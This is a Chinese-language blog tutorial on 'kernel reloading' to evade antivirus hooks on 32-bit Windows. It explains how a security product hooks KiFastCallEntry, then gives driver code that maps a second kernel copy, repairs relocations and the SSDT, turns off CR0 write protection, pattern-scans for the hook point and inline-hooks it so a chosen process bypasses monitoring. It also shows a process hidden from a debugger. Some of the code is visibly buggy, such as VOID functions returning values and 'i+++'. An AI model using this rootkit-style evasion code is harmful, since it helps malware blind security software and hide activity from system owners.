ring0下使用內核重載繞過殺軟hook
前言
內核重載聽起來是一個很高大上的概念,但其實跟PE的知識息息相關,那么為什么會有內核重載的出現呢?
我們知道從ring3進入ring0需要通過int2e/sysenter(syscall)進入ring0,而進入ring0之后又會通過KiFastCallEntry/KiSystemService去找SSDT表對應響應的內核函數,那么殺軟會在這兩個地方進行重點盯防。
首先是對int2e/sysenter的盯防,我們知道大多數函數都是通過一系列的調用鏈,最終找到ntdll.dll里面的函數,找到調用號后通過int2e/sysenter的方式進入ring0,殺軟首先會hook ntdll.dll來實現監測的效果,這里的話之前已經介紹過了,我們可以通過自己逆向的方式通過匯編定位到int2e/sysenter的地址自己重寫ring3部分的api來達到繞過殺軟的效果
那么再看ring0,我們知道ring3函數進入ring0之后會去找SSDT表,那么這里就有兩種監測的方式,一種的話直接在KiSystemService/KiFastCallEntry掛個鉤子,因為無論是什么函數,KiSystemService/KiFastCallEntry是必經之路,還有一種的話就是通過hook SSDT表里面的函數,但是那樣的話會很麻煩,所以殺軟一般都是通過前者來實現ring0的監控
我們這里以某數字殺軟為例,通過匯編代碼的對比,發現某數字殺軟在804de978處更改了一個jmp指令,我們可以看一下前后的對比
hook前: sub esp,ecx shr ecx,2 hook后: jmp 867bf958


我們知道要使用Inline hook必須要有5個字節的空間,但是KiFastCallEntry這個函數會有很多寄存器的操作,我們如果隨便挑選5個字節去操作的話很可能會藍屏,我們可以看一下某數字殺軟挑選的hook點。在這個地方不僅能得到ssdt的地址,還能得到ssdt地址總表,更能得到ssdt索引號,也就是在這個地方不僅不用我們進行寄存器的操作避免藍屏,還能夠直接拿到ssdt表的信息,可謂是風水寶地
那么我們知道了殺軟在ring0的監測原理,我們該如何進行繞過呢?
這里就可以使用到內核重載,內核重載顧名思義,就是復制一份內核的代碼,當我們復制一份內核的代碼之后,讓程序走我們自己復制的這一份內核代碼,殺軟監控只能監控之前的那份內核代碼,從而繞過ring0的監控
思路
復制內核也是有講究的,我們知道內核文件本質上也遵循PE結構,那么PE文件的文件偏移和內存偏移也是我們需要考量的一個點,不能說我們直接將內核文件copy一份就能夠跑起來,這里就需要進行PE的拉伸。那么既然有PE的拉伸,就要涉及到重定位表,我們要想定位到函數,這里肯定就需要進行重定位表的修復
在PE拉伸完成和修復重定位表過后,我們獲得了一份新的內核,但是這里SSDT因為是直接拿過來的,地址肯定會發生變化,所以這里就需要進行SSDT表的修復
在上面的一系列操作完成之后,我們就可以進行hook操作,這里我們上面已經分析過KiFastCallEntry的hook方式,我們在同樣的位置設置一個hook即可達到內核重載的效果
PE拉伸&重定位表修復
這里我把PE拉伸跟重定位表的修復放到一個函數里面,首先我們要進行打開文件的操作,那么這里就要實現幾個關于文件的函數操作
主要用到ZwCreateFile、ZwReadFile、ExAllocatePool、ExFreePool這幾個函數
// 打開文件
VOID OpenFile(PHANDLE phFile, PUNICODE_STRING DllName)
{
HANDLE hFile = NULL;
NTSTATUS status = STATUS_SUCCESS;
IO_STATUS_BLOCK IoStatus;
OBJECT_ATTRIBUTES FileAttrObject; // 創建文件屬性對象
// 初始化 OBJECT_ATTRIBUTES 結構體
InitializeObjectAttributes(&FileAttrObject, DllName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
status = ZwCreateFile(&hFile, GENERIC_ALL, &FileAttrObject, &IoStatus, NULL,FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_DELETE | FILE_SHARE_WRITE, FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
if (!NT_SUCCESS(status))
{
DbgPrint("文件創建不成功");
return FALSE;
}
if (phFile)
{
*phFile = hFile;
}
return TRUE;
}
// 獲取指定文件大小
ULONG GetFileSize(HANDLE hFile)
{
IO_STATUS_BLOCK IoStatus;
NTSTATUS status = STATUS_SUCCESS;
FILE_STANDARD_INFORMATION Fileinfo;
// 獲取指定文件大小
status = ZwQueryInformationFile(hFile, &IoStatus, &Fileinfo, sizeof(Fileinfo), FileStandardInformation);
if (!NT_SUCCESS(status))
{
DbgPrint("文件信息查詢失敗");
return FALSE;
}
return Fileinfo.EndOfFile.LowPart;
}
// 讀取文件到內存
VOID ReadFile(HANDLE hFile, CHAR* Buffer, ULONG readSize)
{
IO_STATUS_BLOCK IoStatus;
NTSTATUS status = STATUS_SUCCESS;
// 讀取指定文件到內存中
status = ZwReadFile(hFile, NULL, NULL, NULL, &IoStatus, Buffer, readSize, NULL, NULL);
if (!NT_SUCCESS(status))
{
DbgPrint("文件讀取失敗");
return FALSE;
}
}
那么我們首先讀取文件到內存
OpenFile(&hFile, DllName); FileSize = GetFileSize(hFile); szBuffer = (PUCHAR)ExAllocatePool(PagedPool, FileSize); ReadFile(hFile, szBuffer, FileSize);
然后進行拉伸PE的操作
首先判斷是否為PE文件,即4D5A
if (*(PSHORT)szBuffer == 0x5A4D)
然后定位到NT頭,偏移為0x3c。判斷一下是否為5045,即PE標志

PUCHAR NTHeader = *(PULONG)(szBuffer + 0x3C) + szBuffer; if (*(PULONG)NTHeader == 0x4550)
然后獲取一下可選PE頭里面的SizeOfImage和SizeOfHeaders,這里偏移為SizeOfImage的偏移為 0x18+0x38 = 0x50,同理SizeOfHeaders的偏移為0x54

// 獲取SizeOfImage ULONG SizeOfImage = *(PULONG)(NTHeader + 0x50); // 獲取SizeOfHeaders ULONG SizeOfHeaders = *(PULONG)(NTHeader + 0x54);
然后使用ExAllocatePool申請一塊空間并用MmIsAddressValid判斷是否可用,避免藍屏
PUCHAR szBufferSize = ExAllocatePool(NonPagedPool, SizeOfImage);
if (!MmIsAddressValid(szBufferSize)) // 檢驗是否該內存是否有權限操作
{
DbgPrint("Memory error");
return NULL;
}
那么我們將PE頭拷貝到我們申請的內存空間里面并定義一系列指針指向頭
// 拷貝PE頭 RtlCopyMemory(szBufferSize, szBuffer, PEHeaderSize); // 獲取NT頭 PIMAGE_NT_HEADERS NtHeader = (PIMAGE_NT_HEADERS)(((PIMAGE_DOS_HEADER)szBufferSize)->e_lfanew + szBufferSize); // 獲取標準PE頭 PIMAGE_FILE_HEADER FileHeader = &NtHeader->FileHeader; // 獲取可選PE頭 PIMAGE_OPTIONAL_HEADER OptionalHeader = &NtHeader->OptionalHeader; // 獲取可選PE頭大小 ULONG SizeOfOptional = FileHeader->SizeOfOptionalHeader; // 獲取節的數量 SHORT SectionNumber = FileHeader->NumberOfSections; // 獲取節表位置 PUCHAR SectionBaseAddr = (PUCHAR)((PUCHAR)NtHeader + 0x4 + 0x14 + SizeOfOptional); PUCHAR pSectionBaseAddr = SectionBaseAddr;
然后進行節表的拷貝,因為我們已經獲取到了節的數量,所以可以直接使用遍歷的方式拷貝,這里我們定義三個變量獲取節中的VirtualAddress、SizeOfRawData、PointerToRawData屬性,分別在0xc、0x10、0x14的位置,

// 拷貝節
CHAR Name[0x9] = { 0 };
for (int i = 0; i < SectionNumber; i++)
{
RtlCopyMemory(Name, pSectionBaseAddr, 0x8);
DbgPrint(("Name: %s", Name));
ULONG PointerToRawData = *(PULONG)(pSectionBaseAddr + 0x14);
ULONG SizeOfRawData = *(PULONG)(pSectionBaseAddr + 0x10);
ULONG VirtualAddress = *(PULONG)(pSectionBaseAddr + 0xC);
RtlCopyMemory(szBufferSize + VirtualAddress, szBuffer + PointerToRawData, SizeOfRawData);
pSectionBaseAddr += 0x28; // 下一個節
}
然后我們再對重定位表進行修復,首先看下重定位表的結構,位于數據目錄項的第6個
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
跟導出表相同,VirtualAddress存放的是指向真正重定位表地址的rva,而Size重定位表的大小,通過RVA->FOA在FileBuffer定位后得到真正重定位表的結構如下
typedef struct _IMAGE_BASE_RELOCATION {
DWORD VirtualAddress;
DWORD SizeOfBlock;
} IMAGE_BASE_RELOCATION;
typedef IMAGE_BASE_RELOCATION ,* PIMAGE_BASE_RELOCATION;
這里的VirtualAddress還是RVA,SizeOfBlock則是重定位表的核心結構,存儲的值以字節為單位,表示的是重定位表的大小,那么如果我們要知道重定位表結構的數量該怎么辦呢?
這里規定在最后一個結構的VirtualAddress和SizeOfBlock的值都為0,這里就可以進行判斷來獲取重定位表有多少個結構
我們來看一看直觀的重定位表圖,假設我們這里重定位結構的數量為3,那么在最后8字節即VirtualAddress和SizeOfBlock的值都為0,可以說重定位表就是很多個塊結構所構成的。

在每一塊結構的VirtualAddress和SizeOfBlock里面,都有很多寬度為2字節的十六進制數據,這里我們稱他們為具體項。在內存中頁大小的值為1000H,即2的12次方,也就是通過這個1000H就能夠表示出一個頁里面所有的偏移地址。而具體項的寬度為16位,頁大小的值為低12位,那么高4位是用來表示什么呢?
這里高4位只可能有兩種情況,0011或0000,對應的十進制就是3或0。
當高4位的值為0011的時候,我們需要修復的數據地址就是VirtualAddress + 低12位的值。例如這里我的VirtualAddress是0x12345678,具體項的數值為001100000001,那么這個值就是有意義的,需要修改的RVA = 0x12345678+0x00000001 = 0x12345679。
當高4位的值為0000的時候,這里就不需要進行重定位的修改,這里的具體項只是用于數據對齊的數據。
也就是說,我們如果要進行重定位表的修改,就只需要判斷具體項的高4位是否為0011,若是則進行重定位表的修復即可
實現代碼如下
KernelBaseRelocation =
(PIMAGE_BASE_RELOCATION)(NewKernelImageBase + KernelNtHeaders->OptionalHeader.DataDirectory[5].VirtualAddress);
while (KernelBaseRelocation->SizeOfBlock != 0 && KernelBaseRelocation->VirtualAddress != 0)
{
// 要修改的重定位表的數量
NumberOfModify = (KernelBaseRelocation->SizeOfBlock - 8) / 2;
// 得到索引Base的偏移
BaseAddr = (PSHORT)((ULONG)KernelBaseRelocation + 8);
while (NumberOfModify--)
{
//得到Base
Base = *BaseAddr;
// 判斷高4位是否為3,若為3則修改
if (*BaseAddr>>12 == 3)
{
// 清除屬性位
Base = Base & 0x0FFF;
// 得到要修改全局變量的索引
PULONG AddOfModify = (PULONG)(NewKernelImageBase + KernelBaseRelocation->VirtualAddress + Base);
*AddOfModify = *AddOfModify - KernelNtHeaders->OptionalHeader.ImageBase + (ULONG)OldKernelImageBase;
}
// 得到下一個BaseAddr
BaseAddr++;
}
// 下一個重定位表
KernelBaseRelocation = (PIMAGE_BASE_RELOCATION)((ULONG)KernelBaseRelocation + KernelBaseRelocation->SizeOfBlock);
}
SSDT表修復
因為SSDT結構有多層,所以要分別進行運算。首先確定新SSDT在哪個位置,用導出KeServiceDescriptorTable導出的老內核的SSDT結構,然后用原來的SSDT地址+相對加載地址即可得到新的SSDT地址。
然后再修正SSDT函數中的地址。方法是在原來的函數地址上+ 相對加載地址,即相對加載地址 = 新內核加載地址 - 老內核加載地址
PSystemServiceTable KeServiceTable = KeServiceDescriptorTable; // SSDT PSystemServiceTable KeServiceTableShadow = (PSystemServiceTable)((ULONG)KeServiceTable - 0x40); // SSDTShadow LONG Offset = (LONG)NewKernelBaseAddr - (LONG)KernelBaseAddr; // 新SSDT與舊SSDT的相對偏移 PSystemServiceTable NewKeServiceTable = (PSystemServiceTable)((ULONG)KeServiceTable + Offset); // 新SSDT地址 // 修復 FunctionsAddrTable 、 FunctionsArgsAddrTable 、 FunctionsLimit NewKeServiceTable->FunctionsAddrTable = (PULONG)((ULONG)KeServiceTable->FunctionsAddrTable + Offset); // 函數地址表 NewKeServiceTable->FunctionsArgsAddrTable = (PUCHAR)(KeServiceTable->FunctionsArgsAddrTable + Offset); // 函數參數表 NewKeServiceTable->FunctionsLimit = KeServiceTable->FunctionsLimit; // 服務個數
然后依次遍歷修改
for (ULONG i = 0; i < NewKeServiceTable->FunctionsLimit; i+++)
{//新的函數地址再加上相對加載地址,得到現在的ssdt函數地址
NewKeServiceTable->FunctionsAddrTable[i] += Offset;
}
hook KiFastCallEntry
我們在之前已經分析過了hook的地點,那么這里我們直接使用inline hook的方式即可,但是這里只適用于單核環境下,如果是多核情況下發現線程切換的情況下需要使用其他方法來進行hook
這里我們首先寫一個判斷,如果是我們想要獲得的程序進程就走我們自己重載的內核
LONG FilterFunc(ULONG ServiceTableBase,ULONG FuncIndex,ULONG OrigFuncAddress)
{
if (ServiceTableBase==(ULONG)KeServiceDescriptorTable.ServiceTableBase)
{//比較當前調用的進程是不是ce
if (!strcmp((char*)PsGetCurrentProcess()+0x174,"notepad.exe"))
{
return pNewSSDT->ServiceTableBase[FuncIndex];
}
}
return OrigFuncAddress;
}
然后寫一個asm使用匯編語句進行調用FilterFunc
VOID __declspec(naked) MyFunction()
{
__asm
{
pushad
pushfd
}
// 測試是否hook成功
__asm
{
push ebx
push eax
push edi
call FilterFunc
}
// 修改ebx
__asm
{
mov dword ptr ss : [esp + 0x14] , eax
}
__asm
{
popfd
popad
}
// 執行原代碼
__asm
{
sub esp, ecx
shr ecx, 2
}
__asm
{
jmp RetAddr
}
}
然后進行Inline hook,這里有一個注意的點就是頁在默認情況下是只讀的,這里就需要修改cr0寄存器的值來進行讀寫
// 關閉頁只讀保護
void _declspec(naked) ShutPageProtect()
{
__asm
{
push eax;
mov eax, cr0;
and eax, ~0x10000;
mov cr0, eax;
pop eax;
ret;
}
}
// 開啟頁只讀保護
void _declspec(naked) OpenPageProtect()
{
__asm
{
push eax;
mov eax, cr0;
or eax, 0x10000;
mov cr0, eax;
pop eax;
ret;
}
}
這里首先定位要hook的地址,利用特征碼搜索的方式,我們首先看下要hook的兩行的硬編碼為2be1c1e902,放到一個數組里面
UCHAR shell1[] = { 0x2B, 0xE1, 0xC1, 0xE9, 0x02 };

然后為了避免重復的硬編碼,這里再判斷一下80542602這個地方的硬編碼是否匹配,若匹配則證明定位準確,同樣放在數組里面
UCHAR shell2[] = { 0x8B, 0x1C, 0x87 };

這里寫一個比較字符的函數
ULONG MyCompareString(PUCHAR string1, PUCHAR string2, ULONG number)
{
// 計數
ULONG i = 0;
while (number--)
{
if (*(string1 + i) == *(string2 + i))
{
i++;
}
else
{
return FALSE;
}
}
return TRUE;
}
然后進行特征碼的遍歷
OldKernelImageBase2 = (PUCHAR)OldKernelImageBase;
OldKernelSizeOfImage2 = OldKernelSizeOfImage;
while (OldKernelSizeOfImage2--)
{
if (FALSE == MyCompareString(shell1, OldKernelImageBase2, 5))
{
OldKernelImageBase2++;
}
else
{
OldKernelImageBase2 = OldKernelImageBase2 - 3;
if (FALSE == MyCompareString(shell2, OldKernelImageBase2, 3))
{
OldKernelImageBase2 = OldKernelImageBase2 + 4;
continue;
}
else
{
HookAddr = (ULONG)OldKernelImageBase2 + 3;
DbgPrint("hook_address:%x", HookAddr);
break;
}
}
}
然后進行hook FastCallEntry的操作
void HookKiFastCallEntry()
{
UCHAR jmp_code[5];
jmp_code[0]=0xe9;
*(ULONG *)&jmp_code[1]=(ULONG)MyKiFastCallEntry-5-hookaddr;
RetAd = hookaddr + 5;
ShutPageProtect();
//inline hook
RtlCopyMemory((PVOID)addr_hookaddr,jmp_code,5);
OpenPageProtect();
}
驅動卸載
在驅動卸載的地方,我們把原來的硬編碼寫回,這里為了防止多核狀態下的線程切換,直接使用cmpxchg8b指令寫回
VOID __declspec(naked) _fastcall HookFunction(ULONG destination, ULONG exchange, ULONG compare)
{
__asm
{
push ebx
push ebp
mov ebp, ecx // destination = ebp
mov ebx, [edx] // exchange低4字節
mov ecx, [edx + 4] // exchange高4字節
mov edx, [esp + 8 + 4] // compare給edx
mov eax, [edx]
mov edx, [edx + 4]
lock cmpxchg8b qword ptr[ebp]
pop ebp
pop ebx
retn 4
}
}
實現效果
這里首先看一下沒有內核重載之前KiFastCallEntry的代碼

在80542605的地方匯編語句為sub esp,ecx

然后我們加載驅動,看到hook的地址正是80542605

這里我們再定位到80542605的位置發現已經是我們自己寫的函數

這里跳轉過去看看,和我們自己寫的MyFunction傳入的匯編代碼是相同的

我們再去通過KiFastCallEntry定位一下hook點,發現也已經被修改



這里為了方便查看效果,我用ssdt hook了NtOpenProcess函數,使用ollydbg附加進程可以發現沒有notepad.exe這個進程,這是因為OD走的是原內核,所以在進程列表里面是沒有notepad.exe這個進程


然后這里卸載驅動

再去定位到80542605地址處,已經恢復成原匯編指令
